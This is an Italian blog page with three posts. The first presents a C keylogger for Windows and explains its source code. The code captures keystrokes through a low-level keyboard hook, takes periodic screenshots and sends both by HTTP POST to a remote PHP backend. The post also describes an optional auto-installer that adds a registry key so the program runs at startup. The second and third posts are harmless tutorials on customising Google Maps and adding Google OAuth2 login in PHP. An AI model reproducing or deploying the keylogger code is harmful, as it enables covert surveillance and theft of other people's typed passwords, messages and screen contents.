Keylogger in C per Windows XP/7/8/10

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

  • cattura tastiera ed eventi mouse
  • screenshot ad intervalli regolari
  • invio tasti e screenshot a backend PHP remoto
  • modalità auto installer o modo normale

Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
	mutex = CreateMutex(NULL, FALSE, NULL);

	buffer = (char*)malloc(BUFFERLEN);
	buffer[0] = 0;

	HANDLE logger;
	logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

	unsigned int timer = 0;
	int len;

	while(1)
	{
		if(timer % SNAPSHOT_SEC == 0)
		{
			SendScreenshot();
		}

		if(timer % 10 == 0)
		{
			// lock
			WaitForSingleObject(mutex, INFINITE);

			len = strlen(buffer);

			// unlock
			ReleaseMutex(mutex);

			int res = CurlSend(buffer, len, "text=");
			if(res)
			{
				// lock
				WaitForSingleObject(mutex, INFINITE);

				// reset buffer
				strcpy(buffer, buffer + len);

				// unlock
				ReleaseMutex(mutex);
			}
		}
		timer++;
		Sleep(1000); // 1 sec sleep
	}
	return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == WM_KEYDOWN)
	{
		KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
		SaveKey(keyboard->vkCode);
	}

	return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
	HINSTANCE hExe = GetModuleHandle(NULL);
	//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
	MSG msg;

	while (GetMessage(&msg, NULL, 0, 0) != 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
	BOOL Success=FALSE;
	HDC SurfDC=NULL;
	HBITMAP OffscrBmp=NULL;
	HDC OffscrDC=NULL;
	LPBITMAPINFO lpbi=NULL;
	LPVOID lpvBits=NULL;
	HANDLE BmpFile=INVALID_HANDLE_VALUE;
	BITMAPFILEHEADER bmfh;

	if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
		return FALSE;

	if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
		return FALSE;

	HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
	BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
	lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

	ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
	lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	SelectObject(OffscrDC, OldBmp);
	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
		return FALSE;

	lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
		return FALSE;

	int h = height;
	int w = width;
	unsigned scanlineBytes = w * 4;
	if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

	char *png = malloc(w * h * 4);
	int x,y;

	for(y = 0; y < h; y++)
		for(x = 0; x < w; x++)
		{
			unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
			unsigned newpos = 4 * y * w + 4 * x;

			png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
			png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
			png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
			png[newpos + 3] = 255;            //A
		}

	free(lpvBits);
	lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
	free(png);

	return TRUE;
}

Modalità auto installer

La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager

 

 

 

Creare mappe personalizzate con Google Maps

Google Maps è uno strumento ormai indispensabile per comunicare efficacemente posti e percorsi. Una attività (ad esempio un ristorante) che voglia indicare agli utenti la propria posizione può avvalersi di queste mappe includendole nel proprio sito web. Mappe statiche, immagini, o peggio ancora semplici indicazioni testuali non sono proprio più ammesse!
Gli utenti si aspettano di trovare Google Maps e tutto quello che ne deriva ossia la possibilità di condividere il luogo, esplorare i dintorni e calcolare distanze e percorsi.

Inserire una mappa Google Maps sul proprio sito web è abbastanza semplice ma l’effetto non sempre è quello desiderato: la mappa di default è ok, indica certamente la posizione, ma i colori potrebbero non essere nello stile complessivo del sito, magari vorremmo togliere informazioni superflue quali nomi di altri posti non attinenti al contesto, nomi dei parchi, in generale semplificare la mappa e focalizzare l’attenzione su quello che vogliamo indicare.

Utilizzando le Google Maps API v3 è possibile personalizzare la mappa come più si desidera, integrandola con lo stile complessivo del sito. Ad esempio è possibile:

  • cambiare tonalità di colore
  • cambiare immagine degli indicatori
  • disegnare contorni, cerchi, rettangoli solidi e trasparenti
  • mostrare popup o altre informazioni al click di preciso luogo sulla mappa

Ecco alcuni esempi:

biz

maps1

Creazione del layout base

Innanzitutto occorre procurarsi una API Key direttamente dal Google Developer center. La chiave ci permetterà di accedere alle funzionalità extra.

Creiamo una pagina HTML di esempio ed includiamo le Google Map API direttamente nell’head. In più creiamo un div contenente la nostra mappa, larghezza e altezza fluida (100%):

<html>
<head>
<script src="https://maps.googleapis.com/maps/api/js?key=APIKEY&callback=myMap"></script>
</head>
<body>
   <div id="maptest" style="width:100%;height:100%;"></div>
</body>
</html>

La pagina non mostra ancora alcuna mappa, dobbiamo crearla associando al div il codice Javascript opportuno. Definiamo per ora il minimo indispensabile ossia posizione (latitudine e longitudine) e livello di zoom:

<html>
<head>
<script src="https://maps.googleapis.com/maps/api/js?key=APIKEY&callback=myMap"></script>
</head>
<body>
   <div id="maptest" style="width:100%;height:100%;"></div>
   <script>						
      var mapOptions = {
	 scrollwheel: false,
	 zoom: 12,
         center: new google.maps.LatLng(43.769562, 11.255814)
      };
		
      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );
   </script>
</body>
</html>

Risultato:

screen-shot-2016-10-09-at-4-33-46-pm

Che è esattamente quello che al massimo possiamo ottenere con le opzioni standard. Vediamo ora di cambiare tonalità di colore alla mappa, ad esempio portarla sul blu (tonalità #103050 e livello di saturazione 20):

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

Risultato:

screen-shot-2016-10-09-at-4-38-35-pm

Aggiungere segnaposto (markers)

Possiamo ora aggiungere uno o più segnaposto sulla mappa, è sufficiente creare quanti oggetti marker desideriamo, specificarne latitudine e longitudine e passarli alla mappa:

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814)
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814)
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814)
      });

Risultato:

screen-shot-2016-10-09-at-4-52-19-pm

Cambiare immagine ai markers

L’icona del marker di default è noiosa. Possiamo utilizzare altre icone o immagini, basta specificare il percorso url alla png o jpeg. Una immagine personalizzata permette ad esempio di creare marker con il logo del nostro sito web, oppure marker che rappresentano posti differenti (ristoranti, stazioni di servizio, aereoporti etc..). Da notare che ogni marker può avere una immagine differente.

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

Risultato:

screen-shot-2016-10-15-at-2-14-50-pm

Associare eventi al click di un marker

Possiamo associare un particolare evento quando l’utente clicca su un marker, ad esempio mostrare un popup informativo oppure cambiare pagina o qualsiasi altra cosa. E’ sufficiente aggiungere l’evento al marker tramite la funziona addListener()

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      // evento

      marker3.addListener('click', function() {
    	alert('ok');
      });

Cliccando sul marker 3 comparirà un semplice popup.

Disegnare forme geometriche sulla mappa

Oltre ai marker è possibile aggiungere forme geometriche quali cerchi, rettangoli e poligoni. In particolare i cerchi sono molto utili quando occorre indicare il raggio massimo di azione di qualcosa o qualcuno (consegne a domicilio? antenna trasmettitore GSM?).
Per un cerchio occorre specificare colore, raggio (in metri) e il marker da associare al cerchio (il marker identifica il centro). Nel nostro caso associamo il cerchio al marker numero 1, impostiamo il raggio a 5km e colore #ffff000.

      var styleArray = [{
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#103050" }]
      }];					
			
      var mapOptions = {
	scrollwheel: false,
	zoom: 12,
	center: new google.maps.LatLng(43.769562, 11.255814),
	styles: styleArray
      };

      var map = new google.maps.Map(
          document.getElementById('maptest'),
          mapOptions
      );

      // markers

      var marker1 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769562, 11.265814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      var marker2 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.769662, 11.356814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });
      
      var marker3 = new google.maps.Marker({
         map: map, 
  	     position: new google.maps.LatLng(43.799362, 11.283814),
             icon: 'http://www.gianlucaghettini.net/wp-content/uploads/2016/10/pin.png'
      });

      // evento

      marker3.addListener('click', function() {
    	 alert('ok');
      });

      // cerchio

      var circle = new google.maps.Circle({
	 map: map,
         radius: 5000,
  	 fillColor: '#ffff00',
  	 strokeWeight: 0,
      });
		
      circle.bindTo('center', marker1, 'position');  

Risultato:

Il marker 1 identifica il centro del cerchio. Incidentalmente il marker 2 è stato incluso nel cerchio perchè si trova a meno di 5km dal marker 1.

screen-shot-2016-10-15-at-2-09-12-pm

Rimuovere elementi superflui

Di default la mappa contiene molti elementi quali nomi di strade, posti, attività commerciali, nomi di parchi, fiumi etc.. E’ possibile rimuovere selettivamente questi elementi specificandoli nell’oggetto di stile e impostando la visiblità ad OFF. Ad esempio questo è il codice, per rimuovere nomi di attività commerciali, punti di interesse, fiumi, laghi e strade:

  var styleArray = [
   {
	featureType: "all",
	stylers: [{ "saturation": 20 },{ "hue": "#123456" }]
   },
   {
         featureType: "administrative",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "poi",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "water",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       },{
         featureType: "road",
         elementType: "labels",
         stylers: [
           { visibility: "off" }
         ]
       }
];

Risultato:

screen-shot-2016-10-15-at-2-08-47-pm

Disegnare percorsi sulla mappa

E’ possibile passare alla mappa un serie di punti geografici (latitudine, longitudine) e realizzare cosi’ un tracciato arbitrario. Va specificato anche il colore, lo spessore della traccia e opacità:

        var pathCoords = [
          {lat: 43.769562, lng: 11.265814},
          {lat: 43.769362, lng: 11.303814},
          {lat: 43.729362, lng: 11.253814},
          {lat: 43.739362, lng: 11.223814},
          {lat: 43.749362, lng: 11.203814},
          {lat: 43.759362, lng: 11.273814},
          {lat: 43.769362, lng: 11.243814},
          {lat: 43.799362, lng: 11.283814},
        ];
        var path = new google.maps.Polyline({
          path: pathCoords,
          geodesic: true,
          strokeColor: '#FF0000',
          strokeOpacity: 1.0,
          strokeWeight: 2
        });

        path.setMap(map);

Risultato:

screen-shot-2016-10-15-at-2-41-35-pm

Oltre a cerchi e linee è possibile disegnare qualsiasi altra forma geometrica, aggiungere immagini e marcare bordi. Il sito ufficiale include tutorial ed esempi per trasformare e adattare le mappe in qualsiasi modo possibile!

Vedi la DEMO

Vuoi personalizzare una o più mappe Google Maps per integrarla al meglio nel tuo sito internet? Fammi sapere nei commenti oppure contattami!

Autenticazione Google OAuth2 in PHP

Come integrare il login Google OAuth2 nelle nostre applicazioni web PHP. Si tratta del login Google che può essere selezionato al posto della normale registrazione tramite email e password.

 

sign_up_with_google_button-60e629008d4a889a84cf284b08a9998b

 

Molto più pratico di una registrazione normale, l’utente non deve scegliere una password o inserire dati particolari: l’unica cosa che deve fare è dare il consenso all’applicazione web per l’utilizzo dei suoi dati personali (di solito nome, email e foto profilo, mai la password).

Nelle normali registrazioni l’utente deve inserire un nome utente ed una password, questi dati vengono memorizzati dall’applicazione web e sono richiesti durante il login.

Con OAuth2 l’utente non deve fare nulla di tutto ciò: è sufficiente autorizzare l’applicazione web una volta e automaticamente otterrà l’accesso.

Il protocollo OAuth2 è disponibile anche per molti altri social network:

 

social-login

 

Il funzionamento è abbastanza semplice: l’utente clicca sul bottone “Log in con Google” e viene portato alla pagina di autorizzazione. Se l’utente approva il sito riceve un codice di autorizzazione. Questo codice di autorizzazione viene poi usato dall’applicazione stessa per richiedere il token di accesso tramite il server OAuth2 Google. Il token può essere usato dal sito stesso per recuperare i dati utente direttamente dal server Google (nome, email, foto profilo etc…).

 

webflow

 

Possiamo quindi memorizzare il token in un cookie e i dati utente (e in particolare l’id utente) nel nostro database: quando l’utente si ricollegherà useremo il cookie per recuperare di nuvo l’id utente tramite apposita API. Se l’id utente corrisponde a quello memorizzato nel database significa che l’utente si era già registrato.

Vediamo allora come integrare il login OAuth2 in una applicazione web PHP.

Il nostro script PHP ha bisogno di alcune credenziali per accedere al server OAuth2 di Google. Per prima cosa quindi occorre creare tali credenziali dalla Google Developer Console.

Setup credenziali OAuth2

Apriamo la sezione su Google+ API e generiamo un nuovo set di credenziali:

 

Screen shot 2015-11-15 at 12.28.32 PM

 

Dobbiamo inserire un nome di riferimento (ad esempio “OAuth2 per il mio sito web”) e il redirect url che sarà l’URL al quale l’utente ritornerà automaticamente non appena avrà dato il consenso sul form di login Google.

Per far funzionare il nostro script di esempio dovremo puntare il redirect URL direttamente alla URL dove abbiamo caricarto lo script (lo script di esempio non funziona in locale!).

 

Screen shot 2015-11-15 at 12.35.34 PM

 

Annotiamoci il Client ID e il Client Secret.

Script di esempio per login Google Oauth2 in PHP

Lo script è veramente semplice. Si compone di un singolo file “googleauth.php” che contiene il codice di login vero e proprio e una cartella “Google” che contiene la libreria OAuth2 Google.

Per prima cosa includiamo la libreria OAuth2 e settiamo le credenziali generate sul Google Developer Console:

 

session_start();
require_once ('Google/autoload.php');

$client_id = 'XXXXXXXXXXXXXXXXX';
$client_secret = 'XXXXXXXXXXXXXXXX';
$redirect_uri = 'redirect url';

Creiamo ora l’oggetto Google_Client() e passiamo le credenziali $client_id e $client_secret più il nostro URL redirect.

 

// Creiamo il Google client
$client = new Google_Client();
$client->setClientId($client_id);
$client->setClientSecret($client_secret);
$client->setRedirectUri($redirect_uri);
$client->addScope("email");
$client->addScope("profile");

Il Google_client() è il client grazie al quale comunichiamo con le Google API.

Creiamo ora l’instanza Google_Service_Oauth2(). Questo oggetto è l’interfaccia vera e propria per il protocollo OAuth2.

 

// Creiamo l'interfaccia API OAuth2
$service = new Google_Service_Oauth2($client);

Settiamo ora la callback con la quale il nostro script riceverà il codice di autorizzazione dal server OAuth2 di Google. Questo codice è invocato automaticamente dalla pagine di autorizzazione di Google quando l’utente accetta l’autorizzazione. Il nostro URL redirect deve puntare a questa porzione di codice. Nel nostro caso abbiamo messo questo codice direttamente nel file “googleauth.php” quindi l’URL redirect deve puntare al file “googleauth.php” stesso. Nulla vieta comunque di avere questa callback in un altro script PHP a parte.

Lo script legge il codice di autorizzazione inviato in GET dal server Google e richiede il token vero e proprio. Poi salva il token nella sessione PHP corrente (volendo potremmo anche salvarlo in un cookie).

 

// Callback per il servizio OAuth2 di Google.
// Salviamo il token nella sessione PHP e ricarichiamo la pagina
if(isset($_GET['code']))
{
 $client->authenticate($_GET['code']);
 $_SESSION['access_token'] = $client->getAccessToken();
 header('Location: '.$_SERVER['PHP_SELF']);
 exit;
}

Definiamo un modo per effettuare il logout. Questa porzione di codice semplicemente cancella il token dalla sessione PHP corrente. E’ sufficiente chiamare lo script settando la variabile GET “logout=” (i.e. “googleauth.php?logout=”).

Lo script ora si dirama in due direzioni differenti. Se il token è presente in sessione vengono recuperati i dati utente direttamente dal server Google. Altrimenti si provvede a mostrare una pagina di login col classico bottone rosso “Log in tramite Google”:

 

// L'utente è già loggato oppure no?
if(isset($_SESSION['access_token']) && $_SESSION['access_token'])
{
	// Si, l'utente è loggato, recuperiamo i dati dell'utente
	
	$client->setAccessToken($_SESSION['access_token']);
	$user = $service->userinfo->get();
	
	echo "Benvenuto ".$user->name."!";
	echo "User ID = ".$user->id;
	echo "Email = ".$user->email;
	echo "Google page = ".$user->link;
	echo "Avatar = ".$user->picture;
	echo "";
	echo "<a href='?logout='>Esci</a>";
}
else
{	
	// No, l'utente non è loggato, mostriamo la pagina di login

	$authUrl = $client->createAuthUrl();
	
	echo '<div align="center">';
	echo '<h3>Login</h3>';
	echo '<a class="login" href="' . $authUrl . '">';
echo '<img src="signin.png" /></a>';
}

Se il token è settato prendiamo i dettagli utente invocando $service->userinfo->get().

Se non è settato creiamo il link per andare alla pagina di autorizzazione Google. Il link viene creato con la API createAuthUrl().

Trovate lo script di esempio completo di libreria GoogleAPI su GitHub.